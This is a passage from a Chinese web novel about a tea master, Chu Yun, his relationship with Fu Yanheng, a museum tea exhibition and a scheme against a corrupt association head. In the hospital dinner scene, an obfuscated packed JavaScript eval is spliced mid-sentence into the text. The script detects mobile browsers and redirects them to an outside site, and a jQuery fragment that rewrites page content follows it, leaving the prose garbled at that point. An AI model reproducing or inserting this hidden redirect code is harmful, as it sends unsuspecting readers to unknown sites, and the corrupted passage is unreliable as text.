楚韫点点头,随即说道:“这个茶园试验区,你们选好位置了吗?” 傅砚珩说:“原本策划部打算和邬桥当地的茶农合作进行试验,但被我驳回了。” 楚韫若有所思:“目前来看邬桥确实不合适。这里的茶产业链条已经非常完善,茶农也形成了一套成熟的种植体系,对于你们的智能管理系统一定会抱有一种抵触情绪,虽然邬桥茶产业知名度高,但费力不讨好就得不偿失了。” “没错,”傅砚珩说:“所以我的想法是不如转向名气相对较小,但急需转变生产方式的茶叶种植区,比如秫阳县。” “秫阳县是秫阳金芽的核心产区,这几年秫阳金芽确实有日薄西山之势,用这里做一个突破口未尝不可。” 他们又细化并敲定了几个细节,直到护士送来了楚韫的晚餐,但也是傅砚珩找人给他定制的营养餐,餐标直接对接外面几十万一天的顶级私人医院—— 底层是去皮去脂的乌骨鸡与长白山野山参慢炖四小时而成的高汤,汤色澄亮如琥珀,揭开餐盒的瞬间,清润的香气弥漫开来;中层是表层覆着鱼茸的芙蓉蛋羹,蛋羹选用五常稻花香米的米油蒸制而成,鱼茸用的是太湖银鱼最中段的肉;最上层是是两块山药小米糕,表面光滑如凝脂,透着淡淡的米白。除此之外还有一份木瓜炖雪蛤当做甜品,木瓜果肉饱满,雪蛤如琼脂般滑嫩,炖出来汤汁清亮。 楚韫拿着筷子,看了一眼正在回复邮件的傅砚珩:“那个,你要不要来一起吃?” 傅砚珩像是一秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383319|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洞穿他的心思,从笔记本屏幕上抬眼看过来:“不用有负担,这是你男朋友应该做的。” “更何况,以我男朋友的实力,又不是吃不起这些。” 楚韫被这两个“男朋友”砸得晕头转向,正要掰开筷子开始吃饭,那边傅砚珩指尖敲击键盘,迅速处理完了几封邮件,然后合上笔记本走过来。 他坐在了旁边的椅子上,看着愣住的楚韫,挑眉道:“不是让我来和你吃饭?” “嗯……” 两人很安静地吃完这顿晚餐,楚韫本来饭量就不大,两人吃这些竟然正正好好。 饭后楚韫开始查看手机上的信息。很多人知道了自己山上遇险的事情,纷纷跑来关心,楚韫虽然讨厌处理这些人际关系上的事,但也耐着性子一个一个地回复。 秦澜月和陆俨还不知道他遭遇危险的事情,楚韫怕他们担心,也没和他们说。但虽然如此,秦澜月还是给他发来了信息。 [秦澜月:楚韫,我要跟你说件事,你千万别激动。] [楚韫:?] [秦澜月:那个,你听我说,千万保持冷静,实在不行就旁边循环播放大悲咒,总之你先做好心理准备。] 楚韫不耐烦了。 [有话快说。] [秦澜月:我刚刚得到的消息,邵凌回来了。] 楚韫还以为他要说什么事,面色沉静地回复: [我知道。] [秦澜月:?!!你知道?你怎么知道的??] [楚韫:之前决赛找水军黑我的就是他。] [秦澜月:我艹,我就说余晋华再狗急跳墙也干不出这种蠢事啊,感情是邵凌这孙子做的!] [秦澜月:他既然这么做了,就证明他对你真是恨之入骨了,我怕他对你不利,你得提前想想应对办法啊。] 楚韫哂笑。 [我当年什么都没做,他对我做下的一桩桩一件件还少吗?四年前我能把他赶到国外,四年后他再来招惹我,我照样不会放过他。] [秦澜月:你心里有数就行,但最近还是注意点吧,毕竟当年那档子事也真是要给我吓死了,你不是也留了心理阴影吗?] 楚韫敛去了笑意。 [知道了。] 梁淮是在楚韫住院地第二天来的,而且一路上畅通无阻到让他怀疑人生,好像楚韫住院当晚被层层保镖拦到走廊最外面的人不是他一样。 但很快他就知道原因了——他进去的时候傅砚珩正在帮楚韫更换手上的纱布,动作细致温柔,涂完药后还会轻轻吹气。看见他也只是微微一笑,完全是一副正室见小三的做派,大方到就差直接把“我们在一起了”几个大字怼他脸上。 于是梁淮忍气吞声地来,又忍气吞声地走了。 楚韫在医院待了两天就可以出院休养了,最重要的是S市那边还有一堆事情等着他去处理。傅砚珩和他一起离开的,这次来邬桥已经创下了他个人的休假记录,亿恒的新产品研发已经到了最后的Beta 版测试阶段,需要他回去拍板决定。 GLGA的选手们也都陆陆续续地离开了邬桥,沈清还要在当地多留几天,临行前特意去送了楚韫,难得没有接受傅砚珩锐利目光的洗礼。 他不知道的是楚韫曾经委婉地劝说过傅砚珩,大致意思就是他的魅力还没大到那个程度,上至男性下至雄性都喜欢他,所以他可以不用那么紧张,把所有出现在他身边的男性都当成假想敌。 但他得到的回复是傅砚珩面无表情的列举,从江祈年、宋清峦,到最近的梁淮,并且还言之凿凿不论男女都会喜欢楚韫,眼见他又要开始翻旧账,楚韫赶紧捂嘴才终结了这个死亡话题。 但楚韫万万没想到,自己刚说过的话,很快就被现实无情推翻。 33. 初心 一束巨大的戴安娜玫瑰静静地摆放在家门口,新鲜到花瓣上的水珠还清晰可见,明显是掐算好楚韫回来的时间,提早一步放在这里的。 本来楚韫说自己上楼就可以,但傅砚珩不放心他的腿,坚持扶着他上了电梯,结果电梯门打开就看到这么一个巨大的“惊喜”。 楚韫看到这束花的一瞬间,心里就涌起一种不好的猜测,这种猜测在他拿起花束上的贺卡时被彻底验证—— No matter how far apart we are, I will always find my way back to you. 无论天涯海角,我都会回到你身边。 傅砚珩也看到了贺卡上的内容。这句话乍一看没有任何问题,完全就是向人表达爱意和倾慕的话术。但他余光瞥向楚韫,却见对方秀美的下颌绷紧,整个人看起来毫无收到礼物的惊喜,反倒像是隐忍着巨大的怒气。 楚韫深吸一口气,把那些本来就难以辨明的情绪封在厚厚的冰层之下,随即不再看那束花一眼,拿钥匙开了门。 傅砚珩扶他进去,楚韫仰头问他:“要喝杯水再走吗?” 傅砚珩当然想在楚韫家里多留一会,但他看了眼表,叹气道:“和人约了签协议,时间快到了。” 楚韫点了点头,墨色双眸看着他,说道:“外面那个……你别误会,我一定会处理好的。” 他撇过了头,声音明显变小:“你放心,我不会移情别恋的。” 傅砚珩短促地笑了一声,把他的脸掰回来,指腹摸了一下他的脸颊:“我当然放心,毕竟我男朋友对我海誓山盟、忠贞不二——” 楚韫把他往门外推:“行了,行了,再不走你就迟到了。” 傅砚珩:“我自己走,你小心腿。” 楚韫“嗯”了一声,在门关上的前一秒,突然扬声道:“外面的垃圾帮我扔了!” . 粉色的戴安娜玫瑰被人无情扔进垃圾桶,那张贺卡却侥幸逃过一劫。 傅砚珩又看了一遍上面的那句话,他总觉得楚韫的反应已经超出了被追求者不堪其扰的范围,如果让他来说,那更像是一种恼火和憎恶。 贺卡上的英文是打印上去的,而且没有落款,再看也看不出什么。但问题就在于此:正常来讲,一个追求者送上鲜花却不标明出处,是笃定了收到的人一定会知道是谁送的吗?还是已经事先和对方说好了?但从楚韫的反应来看,并非第二种可能。 在商界厮杀多年的经历让傅砚珩养成了不放过任何一丝细节的习惯,他总觉得事情有些蹊跷。 闻时为他打开车门,傅砚珩坐进去,将那张卡片递给他:“去查查是谁送给楚韫的。” . 第二天,楚韫就去了“先春”。他前一天晚上已经告诉秦澜月自己腿受伤的事情,并且在对方连珠炮似的问题中对答如流,这才避免了和秦澜月在茶楼门口上演一场“执手相看泪眼”的悲情戏。 那天是工作日,但茶楼的上座率依旧很高,按秦澜月的话说,这都依赖楚韫夺冠后的名人效应,可谓是一人得道鸡犬升天。 楚韫扯了扯嘴角,懒得和他辩论这些。他着急回来就是因为之前和省博的合作项目已经定下来了,扶他上楼时秦澜月还偷偷贴在他耳边说:“我看那帮考察的之前还有点犹豫,看你拿了冠军立马就拍板决定了。” 说完他还翻了个大大的白眼,搞得楚韫啼笑皆非。 省博的项目负责人已经到了,听见木质推拉门“哗”地一声,立刻站了起来:“楚先生——” 看清对方在秦澜月的搀扶下一瘸一拐地进来,这位负责人小姐立刻就要上前搭把手以示友善,但却被这位茶楼老板抬手拒绝了。 楚韫坐到主位,抱歉地朝对方笑了笑:“腿受伤了,路上耽误了点时间,让您久等了。” 负责人小姐立刻表示理解和关心:“没事,安全要紧,我也是刚到。” 楚韫略一颔首,一边从身后茶架上拿下一个茶罐,一边问道:“请问怎么称呼您?” “我叫苏荷,你叫我苏小姐就好。”苏荷明显是属于那种精明干练的职场女性,简单寒暄过后就直奔主题:“想必您也知道了省博与您的合作意愿,我们希望您能为这次的茶文化主题展览提供技术指导。” 水壶里的水逐渐沸腾,楚韫“嗯”了一声:“能介绍一下具体的工作内容吗?” 苏荷看着对面的年轻人一手漂亮的冲泡技艺,说道:“因为这次展览借来了很多珍贵的母树茶,为了保护展品,需要您到现场提供一些存储和展示环境的建议。还有就是需要您协助策划团队梳理茶叶相关知识体系,避免出现知识性错误,到时候会有负责人员把文档发给您。” 这样说着,她的脑海里突然闪过了一个想法。 一杯花香四溢的茶被轻轻放到面前,苏荷一直高速运转的脑子突然变得一片空白。 “这是今年新做的茉莉花茶,茶汤柔和,有舒缓安神的效果。” 苏荷若有所感,在一片水汽氤氲中,对面嗓音泠泠:“您刚才语速很急很快,明显是因为工作一直神经紧绷。而且眼下有黑眼圈,应该也是没休息好导致的。” “您——”苏荷深吸一口气,终于想起来自己接下来想说什么:“谢谢您。” “实不相瞒,刚才看到您泡茶,我突然有了一个新的想法,如果将‘先春’作为本次展览的第二体验地,让参观者进一步感受茶叶的冲泡过程,品尝一杯茶落于唇齿间的味道,那么参观者对于茶文化的体验将不只局限于简单的知识层面,更能形成独属于个人的印象和记忆。” 她口干舌燥地说完,将杯中茶水一饮而尽。不知道是不是心理作用,她感觉整个人都心平气和了许多。 “我觉得这个想法很有新意,而且从可行性来讲,省博和‘先春’的直线距离不超过两公里,彼此之间可以形成辐射带动作用。” 楚韫说着,为苏荷的杯中添了茶水。 苏荷面上一喜:“这么说,您是答应了?” 楚韫点了点头:“对。” 两人谈得差不多,苏荷从包包里拿出一份打印好的纸质合同,推到楚韫面前:“这是法务部门拟定的合同,您可以看一下里面的条款,如果有什么不满意的地方可以和我说。至于与‘先春’合作的相关内容,我回去会让法务部门加上这一条,做一份最终版的合同来给您签字。” 楚韫看了一遍,温声说:“我没有什么要补充的了。” 苏荷松了口气,微笑着说:“省博非常重视这次展览,也很珍惜和您这样优秀的茶叶制作师合作的机会,希望我们相互成就,合作愉快。” 楚韫与她握了下手,苏荷再次喝光杯里的茉莉花茶,真心诚意地感叹:“您身上真是有一种奇妙的魔力。” 对上楚韫疑惑的目光,她解释道:“不知道别人会不会有这种感受,但对于我来说,坐在您对面喝上两杯茶,好像就能暂时忘却这些天的疲惫。而且在您这里,我是真的体会到了一杯茶所传递的人与人之间的关怀。” 楚韫微微一笑:“谢谢。” 这位负责人确实为工作忙得团团转,喝完三杯茶就要离开了。 临走前,苏荷还在感慨“这么好的茶可惜不能接着喝了”,然后像是突然想起了什么:“下周五展览开展,我们可能要向媒体和大众介绍一下您,不知道您有没有时间露个面?” 她补充道:“届时媒体可能会采访您几个问题,都是和这次展览的主题相关的,您就说一说自己的看法就好。” 楚韫几乎没有犹豫就答应了她。 木质推拉门被人从外面关上,楚韫的目光落在公道杯里沉浮的茉莉花上,很多年前的一幕再度浮现在他眼前。 …… “小楚,你想好了,真的想和我学做茶?” 年幼的楚韫重重点了点头,坚定地说:“我想好了。” 廖叙生见他这个样子,叹了口气,温情脉脉又忧心忡忡地说:“你天生就是做茶的这块料。别人需要学习的技巧,对你而言只不过是一种感知和顺势而为,这是一个制茶师最宝贵的东西,也是最容易把他引入歧途的东西。” 小楚韫不明白他的意思,只是睁大了眼睛愣愣地看着他。 “过度依赖最原始的本能,你会发现做茶好像是一件信手拈来的事,久而久之,你会忘记自己当年为什么要踏上这条路,以及这条路最终要通向何方。做我们这行的,只有清楚记得来处和归处,才能熬过这漫长而又孤寂的制茶生涯,真正做出打动人心的好茶。” “那么小楚,”廖叙生问他:“你为什么想要做茶?你做茶是为了什么?” 山风裹着水汽掠过漫山遍野的茶田,送来远处好闻的茉莉花香。叶片摩擦发出沙沙的响声,如果仔细听,甚至能听到枝头茶芽冒出的细微响声。 廖叙生笑了笑:“也是,你还这么小,这样的问题对你来说——” “我想要替这些草木完成一场完整的生命。” 廖叙生愣住了:“什么?” 小楚韫指着旁边的一丛茶树,第一次在廖叙生面前表露真正的想法:“我观察过,这些茶树上的叶子如果不及时采摘,最后就会香气散尽,潦草地过完一生。但如果我学会了做茶,我可以把山里的晨雾、土里的养分,还有叶片的生命保存下来,等某天有人用沸水冲泡,那些叶片重新舒展,茶汤里浮起的香气会告诉他,这些草木叶片拥有着怎样独一无二的一生。我想要让一片叶子的生命从枝头走进人的记忆,这才应该是它最终的归宿。” 他见过一个生命在眼前消逝的样子,正是因为就那样戛然而止,他才会想尽己所能,给所有的生命一个完整而美好的结局。 廖叙生微笑起来,目光微微闪动,里面是年幼的楚韫看不懂的情绪。 那一年,他给出了第一个问题的答案,被廖叙生收为了徒弟。 …… 时光匆匆而过,四季在少年手中的一捧茶 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那是个罕见的暴雨天,茶楼里一个客人都没有,天色渐晚,他们也都收拾着准备打烊。 就在这时,一个形容狼狈的男人跌跌撞撞地跑了进来,楚韫见他神色,以为他遇到了什么事情,连忙迎上去:“先生,需要帮助吗?” 那个男人定了定神,下意识看了一眼自己沾满了泥水的鞋底和裤脚,有些羞赧地说:“抱歉了,把你们刚拖的地弄脏了。” 楚韫摇了摇头:“没事的。”他指了指一旁的座位:“您可以坐在那里。” 他看出这个男人没有喝茶的意思,应该只是因为没带伞来店里避雨。感觉出自己在身边会让他很紧张,楚韫便冲对方笑了笑,接着去打扫店里的卫生了。 可能是实在不好意思,那个男人在他擦桌子时叫住了他:“那个,你好,能麻烦帮我来一碗你们店里最便宜的茶吗?” 楚韫愣了一下,随即道:“好。” 他给对方泡了一盏祁门红茶,与价格无关,只是红茶性暖,适合在这样的雨天饮用。 那个男人颤抖着手拿起那盏茶,慢慢喝了一口。然后楚韫就看到他的眼眶慢慢红了。 “……是这个茶有什么问题吗?” 男人摇了摇头,两只大手在脸上搓了两把,看起来镇定了一些:“不,不……”他呼出一口气:“是我自己的问题。” 楚韫迟疑片刻,还是小心翼翼地开了口:“虽然不知道您遇到了什么困难,但一切都会过去的。” 男人顿了下,苦笑着说:“谢谢你。”他像是在措辞,很久之后才组织好语言:“其实是我女儿生了场重病,我,我一时间有点无法接受。” 这样啊。楚韫理解地点了点头,但也没再多说什么,他安慰人的话语实在贫瘠,还不如保持缄默。 那个男人把红茶一饮而尽,楚韫默默给他加了水。 “她妈妈就是因为这种病离开的。” 楚韫向来平稳的手一抖,一滴热水溅到了桌面上。 男人牙关咬紧,像是竭力忍住某种情绪的爆发:“我也是今天才知道,这种病会遗传。我的女儿还那么小,我今天眼睁睁看着她的头发被剃光,就算那样,她还是会冲着我笑,装作她不疼——” 啪嗒一声,有什么落入了面前的茶盏中,砸出一片涟漪。 他飞快地在眼睛上一抹,这次是双手捧着茶盏,慢慢地、小心翼翼地喝了一口。 “谢谢你的茶。”他说:“我不懂茶,甚至不知道喝的是什么。但我能喝出里面的温度,感受到里面的柔和,它接住了我的情绪,这就够了。” 那一瞬间,无数碎片在楚韫的脑海中拼合,是泡完一盏茶后客人惊喜的表情,是偶然经过时听到的那些苦恼烦忧,是客人离开时心满意足的一声“谢谢”。 原来如此。 原来如此。 …… “小楚,一个月前的问题,你现在有答案了吗?” “我想让所有经历不幸的人、迷茫无助的人、被生活所扰的人,在这一杯茶里获得片刻的舒心,哪怕只是提供了一个情感的宣泄口,让他们短暂地逃离那些负面情绪,也是值得的。” 廖叙生微笑起来:“——而我们要做的就是,倾尽心力,为他人奉上一份慰藉人心的茶叶。” 那一年,楚韫明白了自己的归处,踏上了制作茉莉花茶的漫漫长路。 . 廖叙生死后,他的全部人生只剩下了无尽的仇恨。换作以前,他大概率会拒绝这样“无意义”的合作和采访。但他扪心自问,是不愿,不能,还是不敢? 是他执迷不悟,是他作茧自缚,是他在时光的云烟中迷失了方向。 也许是这场比赛过后,也许是在更早,深埋于心中的信念开始苏醒、冒头,终于冲破累累砖石迎风而立,让他意识到,之前那个抛弃了初心的自己有多可笑。 34. 厨艺 “清峦,我对你很失望。” 会长办公室里,余晋华面色不虞地放下茶杯,淡淡地说。 站在对面的宋清峦面无表情,垂在身侧的双手紧握成拳,又颓然放开。 “我为你付出了多少心血,你却还是输给了他!” 心血。宋清峦只觉得可笑。用那些腌臜的手段,试图再次毁掉对自己有威胁的人,这样的丑陋私心竟也能被包装成是一腔心血只为他好。 宋清峦抬起头,已经换上了一副谦卑的神情:“……对不起,师父,是徒弟学艺不精,才辜负了师父的良苦用心。” 余晋华静静地看了他一会,像是要看看这张完美无瑕的面具之下到底包藏着怎样的祸心。他突然笑了,但这笑容在他原本慈眉善目的脸上甚至显得有些扭曲:“清峦,你我师徒一场,我自认为这些年待你不薄。做人,最重要的就是不能忘本。你心知肚明,没有我,你会被他压制一辈子,永无出头之日,更遑论走到今天这个位置。” “我知道你心里在想些什么,但我只想提醒你一句。”余晋华的声音变得阴冷可怖:“当年的事,你我都有份,如果有一天我倒台了,你觉得你能全身而退吗?” 宋清峦喉结滚动了两下,刚想说些什么,办公室的门就被推开了。 吴润不傻,一看见两人神情就什么都明白了,刚要老老实实退出去,就被余晋华叫住了。 “有什么事,说吧。” 宋清峦全身一僵,他知道吴润是帮余晋华做什么的,他不会认为余晋华对自己毫不避讳的态度是出于什么可笑的信任。 这是一种赤裸裸的挑衅,是把他架在火焰上炙烤,是一种明明白白的奚落与嘲讽—— 你敢么? 像你这样的人,最在乎自己的利益,你敢放弃今天拥有的一切吗? 那边吴润已经开口:“会长,陈家烨找到了,但据我们的人说,问他任何问题,他都只会告饶,而且整个人看起来精神很不稳定,我们的人怕出事,就没敢用硬的。” 茶杯掉到地上,发出尖锐的碎裂声。 “废物!” 余晋华极少有这样失态的时候,整个人看起来像一头暴怒的狮子。吴润跟在他身边多年,早已身经百战,不然一定会被吓得大气都不敢喘。 “之前的周万山也是,还有现在的陈家烨——”他像是想到了什么,厉声问道:“决赛的事情呢?” 吴润连忙开口:“GLGA管理层内部风平浪静,行政秘书长什么事也没有。”不然现在最该着急的是他自己。 余晋华重重地喘息了两下,整个人看起来平静了许多。不能再这样下去了,他必须立刻终结这一切。 顷刻之间,他已经换上了一副温情脉脉的面孔,而他说的话却让吴润不寒而栗。 “吴润,你父母在老家过得还好吧?” 余晋华的声音带着笑,但一双眼睛里却毫无笑意。 “我记得他们身体不好,要不要把他们接到城里来住呢?” 吴润顿了下,勉强地笑了笑:“不了,他们不愿意离开老家。” “这样啊,”余晋华说:“那真是太可惜了。” . 苏荷把最终版的合同送过来后,楚韫在上面签了字,正式投入紧锣密鼓的工作之中。但他腿脚实在不方便,就先完成了线上工作的内容,后面去展馆现场则是拒绝了所有人的帮助,自己拄着拐杖去的,为此还被秦澜月大肆嘲笑了一番。 “湿度太低,需要再上调五个百分点。” 负责展览布置的是个年轻的小伙子,叫何明宇,闻言一副欲言又止的样子,脸憋得通红。 楚韫回头看了他一眼:“怎么?” 何明宇被这一眼看得心脏漏跳了一拍,赶紧递过记录本,小声说:“楚老师,手册上说古树茶怕潮……” 楚韫简单解释了一句:“茶饼边缘的金毫需要让潮气慢慢润着,40%太干,芽头会脆成碎末;50%以上又容易生霉。” 他的目光忽然落在某处,对着展柜角落的照明扬了扬下巴:“射灯换暖光,别用白光直射,否则会破坏龙井里面的兰香。” 何明宇立刻记下来,佩服地说:“楚老师您好厉害啊,我看过您GLGA的比赛视频,真是——” 他的话头突然被截住了,楚韫看了眼手表,说:“五点了,今天就到这里吧,明天我们就能按时弄完所有展区。” 等何明宇反应过来的时候,对方已经一瘸一拐走出了展馆。 “哎,楚老师,要不我送你回去吧——” 他追出去的声音戛然而止。街边不知何时停了一辆宾利,车门打开,一个长相锐利俊美,看起来矜贵不可侵犯的男人朝着这边快步走了过来。 准确来说,是朝楚韫走了过去。 然后他就眼睁睁看着他们的指导专家仰起了头,不知道说了些什么,那个男人勾起嘴角,脸上是毫不掩饰的笑意。随后他接过对方的拐杖,以一种亲密无间的姿态搀扶着楚韫,两人并肩朝着车子慢慢走去。 坐进车里的前一秒,那个男人的眼神突然扫过来,带着慑人的压迫感,让何明宇陡然一惊。直到宾利消失在街角,他才意识到自己早已出了一身冷汗。 . “晚上想吃什么?我让餐厅送过来。” 楚韫盯着傅砚珩看了两秒,忽然缓缓地说:“要不我把小俨叫过来吧,我不太想吃外面的……” 傅砚珩啼笑皆非:“你还真把你这个徒弟当成免费厨师了。” 楚韫也有些尴尬:“没办法,我不怎么会做饭,之前小俨跟着我在茶园那边学做茶的时候,因为两个人都不会做饭,差点把厨房点着了。后来为了避免饿死在那边,他就自己在网上学做饭,久而久之就练出了一手好厨艺。” “别麻烦人家了,”傅砚珩说:“去我那,我给你做。” 他看清了楚韫脸上半信半疑的神色,好笑地捏了下他的脸,说道:“我以前在国外留过学,那时候基本都是自己做饭,所以放心吧。” 楚韫“嗯”了一声,问道:“你今天怎么下班这么早?” 坐在副驾驶的闻时泪目了,心想当然都是为了你啊。 为了你,自家老板把三个会压缩到一个上午去开,又花了一下午雷厉风行地调整了美国分公司那边一个项目的组织架构,搞得亿恒内部人心惶惶闻风而动,各部门人手三杯咖啡高效率随时待命。 傅砚珩说:“为了来接某个小瘸子。” “……” 小瘸子无语了一瞬,就见傅砚珩从文件槽里拿出一个档案袋递给他:“送你的礼物。” 楚韫刚要打开,就听他说:“回去再看,省得头晕。” 这还是楚韫第一次去傅砚珩家。 傅砚珩家里和他的办公室风格极为相似,清一色黑白灰,简单低调却处处彰显着奢华,连空气里都浮动着淡淡的乌木沉香。但整个屋子可以说是毫无烟火气息,已经到了让楚韫这个孤家寡人都要感慨的地步。 “你平时常回来住吗?” 楚韫坐在沙发上,看着傅砚珩从袋子里拿出一样样食材。东西是让人事先买好的,他们回来时已经放到了岛台上。 傅砚珩想了下:“基本上一年有五个月住公司,四个月住家里,剩下三个月都在外面出差。” “其实住在哪里对我来说都没区别,只是在哪睡一觉的事情。” 楚韫下意识想问那你家人不会来看你吗,也是在这个时候,他才意识到他对傅砚珩的家庭一无所知。 像是为了掩盖这种异样,他拿起了茶几上的档案袋,里面有一个U盘,还有一份文件。楚韫取出那份文件,目光落在上面的瞬间,他缓缓皱起了眉头。 . 萝卜炖牛腩在砂锅里慢慢地煨着,发出咕嘟咕嘟的响声。伴随着热油淋在葱姜丝上,清蒸鲈鱼的香味被彻底激发出来。楚韫原本正在思考刚才看到的内容,这时也被满屋充盈的香气所吸引,一步一步挪进了厨房。 “饿了吗?我再炒个青菜就好。” 楚韫看着傅砚珩熟练地起锅烧油,将一把奶白菜扔进去断生,撒上盐,快速翻炒均匀后装进盘里,真心实意地说:“厨师界失去了你真是一大损失。” 傅砚珩关掉煤气灶上的火,把萝卜炖牛腩盛到碗里,闻言忍俊不禁地说:“能得到男朋友这样的评价,简直是我的最高荣誉。” 楚韫想要帮着把盘子摆上桌,结果被傅砚珩制止了,理由简单粗暴:“你坐那等着吃就好。” 他这么说,楚韫心里竟然升起了一股荒诞的感觉,好像他们不是刚刚确定关系,而是已经在一起走过许多柴米油盐的日子,每一天都过得平淡、温馨、幸福。 “想什么呢?” 楚韫回过神,脱口而出:“在想我们老了以后。” 傅砚珩挑眉,把一块挑完刺的鱼夹到楚韫碗里,饶有兴趣地问道:“在你的想象里,我们老了之后会是什么样?” 楚韫意识到自己刚才在胡言乱语些什么,含糊不清地说:“就是像今天这样,我们一起回家,你下厨做饭……当然等我腿好了会帮你打下手。” 傅砚珩顺着他的思路想了一下,感叹道:“听你这么说,我已经期待起我们往后度过的每一天了。” 楚韫一边点头一边把那块鱼送进嘴里,随即顿了一下,一双好看的眼睛微微眯起,整个人像是一只吃到小鱼干的猫,浑身都散发着餍足。 傅砚珩把他那点微不可察的表情尽收眼底,笑着又给他夹了一筷子牛腩。 “对了,”楚韫吃饭也没忘记正经事,问道:“你给我的那个U盘里是什么?我没有电脑,没来得及看。” “是陈家烨和另一个人的通话记录。” 楚韫愣了一下,过了好久才说:“……原来是你。” 迎着傅砚珩疑惑的目光,他解释道:“当时我让人去保释陈家烨,但他已经被人先一步带走了,我一直以为是余晋华干的,让人去查陈家烨从警局出来后的踪迹,也一无所获,后来就放弃了。” “是我考虑的不周到。”傅砚珩说:“当时想着让你专心比赛,这些事情我去做就好,结果给你造成了这么大的困扰。” 楚韫摇了 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“你先听听U盘里的内容,我去把碗刷了,有事叫我。” 楚韫心想原来傅砚珩这样的人也会亲自刷碗,闻言点了点头:“好。” 楚韫把U盘插进去,里面是一份通话录音,点开之后,两个人的对话回响在整间书房。 对话的内容和楚韫之前想的大差不差,就是有人让陈家烨对自己比赛时的木炭动手脚。但他听着除了陈家烨以外的另一个声音,缓缓皱起了眉头。 那个声音含笑着说:“陈家烨,做人要懂得感恩,没有会长,你怎么能有现在的这份工作?” 陈家烨的声音变得咬牙切齿起来:“可是我之前已经帮他做了很多事了,就算报恩也要有个限度吧!” “最后一次,事成我们就两不相欠。”那个声音说:“否则你也别想在这个位置混了。” “吴润!”陈家烨几乎是咆哮起来,随即楚韫摁下了暂停键。 吴润。 他的目光落在那张银行转账记录的汇款人上—— Wu Run。 是人就有弱点,更何况是余晋华豢养的一条狗。楚韫微笑起来,那就以你作为突破口吧。 让梁淮帮忙去查吴润的底细后,楚韫往对方的账户里打了十万当做酬劳。 [梁淮:?] [楚韫:这次的应该比较难查,辛苦你了。] [梁淮:那也不用吧,我的规矩你又不是不知道。] [楚韫:收着吧,实在不行当精神损失费。] [梁淮:什么精神损失??] 当然是情感上的精神损失。 楚韫没再和他在这上面浪费口舌,只是嘱咐了句“尽快调查”,结果一抬头就看见傅砚珩端着果盘站在门口,挑眉问道:“听完了吗?出来吃水果。” 楚韫“嗯”了一声,一蹦一蹦到傅砚珩身边,自然而然攀上他的臂膀。这一动作显然取悦了对方,虽然楚韫觉得很莫名其妙。 直到坐在沙发上,傅砚珩的嘴角还没回落下来:“下一步打算怎么做?” 楚韫吃着对方刚刚投喂到嘴里的水蜜桃,心想再这样下去自己都要生活不能自理了,闻言咽下去才开口:“陈家烨也是 吴润联系的,这人应该是余晋华当上茶协会长后新养的一条狗,专门帮他去做那些见不得人的事。余晋华驱使别人,向来都是抓住对方的弱点和把柄加以威胁,或者先给对方点甜头再挟恩求报,这个吴润肯定也跑不了这两点。所以只要让他反水,再加上我们之前拿到的证据,就足以扳倒余晋华。” 傅砚珩问道:“你一直都是让你那个律师朋友帮你调查的?” “……傅砚珩,”楚韫无奈道:“我刚刚还给他转了十万,我们之间只是纯洁的金钱关系。” “我知道,”傅砚珩捏了下他的脸,笑声低沉:“而且我也没说什么,你——” “时间不早了,我该走了。” 楚韫说完就作势要起身,结果被对方拉住了手腕。 “明天不是还要去现场指导?” 楚韫静静看着他,等待着他的下文。 “今晚在这边睡吧,明天直接开车送你过去,嗯?” 傅砚珩嗓音低沉,原本锋利的眉眼变得柔和,抬眼看他时,眼尾上挑的弧度都莫名蛊惑人心。两人一上一下,视线相对,一瞬间竟让楚韫生出了一种颠倒错位的荒诞感,以至于原本的毅然拒绝就这样被他默默咽回了肚子。 楚韫无声呼出一口气,张了张嘴,试图再挣扎一下:“你家……没有我的换洗衣物和洗漱用品。” 握住手腕的那只手慢慢向上,楚韫甚至能清晰感知到对方的指尖划过自己小臂上的皮肤,泛起一阵密密麻麻的痒意。 “不用担心,我已经让人买好了,什么都不缺。” 原来是早有预谋。 楚韫忽的一笑,随即反客为主,抓住了那只作乱的手,与他十指相扣。 “好啊,那我今晚就住在这了。” 35. 爱意 哗啦—— 热水浇淋在身体上,带走了工作一天后的疲惫。楚韫摸着湿滑的瓷砖墙壁一点点挪出浴室,吹干头发披上浴袍。洗手间里弥漫的水汽已经散去了不少,镜子里年轻人的面孔逐渐清晰起来。 楚韫静静看了一会,脑海里浮现的却是另一张脸,不动声色的凶悍,像一把闪烁着暗芒的利刃,一步步逼近自己心脏的最深处。 他喜欢我哪点呢?也是这副皮囊吗? 从小到大,这副遗传自母亲的漂亮皮囊给他带来的永远是痛苦多于幸福。这张脸,不笑时疏离冷淡,是天边碰不到的云海悬月,笑的时候又靡丽潋滟,让人情不自禁沦陷其中。无数人飞蛾扑火一样地追求过他,无功而返后,那些可笑的绵绵情意顷刻间就变成了不怀好意的中伤毁谤。 楚韫自嘲地笑了下,挥去脑海里那些矫情可笑的念头,握着门把手打开门,就见傅砚珩站在门外,整个人似乎要与客房的昏暗融为一体。 “……你怎么在这?” 傅砚珩的目光落在他那段白皙纤细的脖颈上,再往下就是他曾经见过的那段红绳,只是吊坠被纯白的棉质睡衣挡住了。 他无奈地叹气:“害怕你在里面摔倒,这样能听到里面的动静。” 他这么一说,楚韫反倒有点不好意思了,他想了想,问道:“傅砚珩,你睡前还有工作吗?” “没有。” 本来就是留出了一晚上的时间来陪你。 楚韫说:“时间还早,我们来玩个小游戏吧。”也许是刚洗完澡的缘故,他的眼尾微微泛着红,“简单版的真心话大冒险,怎么样?” 傅砚珩看起来很感兴趣:“怎么玩?” 楚韫打开床头灯,拍了拍床,示意他坐下。 “两个人石头剪刀布,输的人在真心话和大冒险里选一个,大冒险的动作幅度不能大,真心话也不可以问一些太出格的问题,总之要适合睡前进行。” “好。” 第一轮两人石头剪刀布,楚韫出的剪刀,傅砚珩出的布。 傅砚珩说:“我选真心话。” 楚韫想了一下,说:“你生日是哪天?” “十一月八号。” 第二轮,楚韫出石头,傅砚珩依旧出布。 这次楚韫选的也是真心话。 